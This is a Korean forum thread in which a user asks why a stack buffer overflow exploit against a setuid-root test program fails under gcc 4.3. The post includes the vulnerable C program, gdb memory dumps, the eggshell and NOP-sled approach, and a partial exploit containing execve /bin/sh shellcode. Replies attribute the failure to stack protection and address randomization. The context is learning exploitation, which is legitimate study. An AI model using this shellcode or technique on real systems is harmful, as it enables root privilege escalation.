GCC4.3 에서 버퍼오버플로우 공격이 안되네요 확인좀 부탁합니다.

익명 사용자의 이미지

안녕하세요?
gcc를 버젼 2점대로 다운 그래이딩하면 잘되는데, 4.3에서는 도저히 안되네요
확인좀 부탁드릴께요. 못푸는게 화가나서 잠을 못자겠어요 흑흑

#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
        char buffer[200];
        if (argc > 1)
                strcpy(buffer, argv[1]);
                return(0);
}

공격 방법, eggshell 을 등록하고, eggshell을 인자로 받음 그리고 환경변수에 쉘코드를 등록함.
./exploit 280
Address of esp: 0xbffff8c4

user@box:~/proj2$ gdb ./vulnerable
(gdb) r $EGG
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/proj2/vulnerable $EGG

Breakpoint 3, 0x080483a8 in main (argc=Cannot access memory at address 0x0
) at vulnerable.c:5
5 {
(gdb) info registers
eax 0xbffff744 -1073744060
ecx 0xbffff6c0 -1073744192
edx 0x2 2
ebx 0xb7fd8ff4 -1208119308
esp 0xbffff6bc 0xbffff6bc <- 리턴어드레스입니다.(main함수)
ebp 0xbffff718 0xbffff718
esi 0x8048410 134513680
edi 0x80482f0 134513392
eip 0x80483a8 0x80483a8

(gdb) x/2x 0xbffff6bc <- esp를 출력해보았습니다.
0xbffff6bc: 0xb7e98455 0x00000002
(gdb) c
Continuing.

## strcpy 바로 다음에 bp걸어놓고 다시한번 리턴어드레스 주소를 열어보았습니다.
Breakpoint 2, main (argc=-1073743676, argv=0xbffff8c4) at vulnerable.c:9
9 return(0);
(gdb) info registers
eax 0xbffff5dc -1073744420
ecx 0xbffff5db -1073744421
edx 0x114 276
ebx 0xb7fd8ff4 -1208119308
esp 0xbffff5c0 0xbffff5c0
ebp 0xbffff6a8 0xbffff6a8
esi 0x8048410 134513680
edi 0x80482f0 134513392
eip 0x80483e9 0x80483e9

(gdb) x/4x 0xbffff6bc
0xbffff6bc: 0xbffff8c4 0xbffff8c4 0xbffff8c4 0xbffff8c4
위에서 보신것처럼 리턴어드레스가 제가 원하는 NOP이 있는 주소로 변경되었습니다.

(gdb) x/16x 0xbffff8c4
0xbffff8c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8e4: 0x5e1feb90 0x31087689 0x074688c0 0xb00c4689
0xbffff8f4: 0x8df3890b 0x568d084e 0x3180cd0c 0x40d889db
해당 스택 주소를 찍어보았습니다. 예상대로 NOP이 들어가 있어서 쉘코드까지 잘 탈거라 예상했는데
그냥 정상 종료됩니다.

아래는 setuid를 준 상태입니다.
-rwsr-xr-x 1 root root 7256 2011-08-31 01:47 vulnerable

무엇이 문제일까요??????????? 2틀째 삽질하고 있습니다.

사실 -mpreferred-stack-boundary=2 옵션 주고 gcc 컴파일하면 잘되는데
현재 gcc 버젼에서 해보고 싶습니다.

감사합니다.

[SHELLCODE]

#include <stdio.h>
 
#include <stdlib.h>
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
        __asm__("movl %esp,%eax");
}
....
익명 사용자의 이미지

아마도 컴파일러 버젼이 올라가면서 자체적으로 버퍼오버플로우 체킹 기능이 있었던걸로 기억합니다.

자세한건 2.x로 빌드한거랑 4.x로 빌드한 녀석을 직접 비교해보시면 될듯합니다.

제 기억이 잘못된걸수도있구요....

익명 사용자의 이미지

$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

http://kerneltrap.org/node/5783

http://en.wikipedia.org/wiki/Buffer_overflow_protection

http://gcc.gnu.org/ml/gcc-patches/2005-05/msg01193.html
gcc -fstack-protector

최근 배포판은 커널차원에서 그리고 gcc user-space차원에서 stack-protector가 적용되어 있어서 그럴겁니다.
확인해보세요.

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.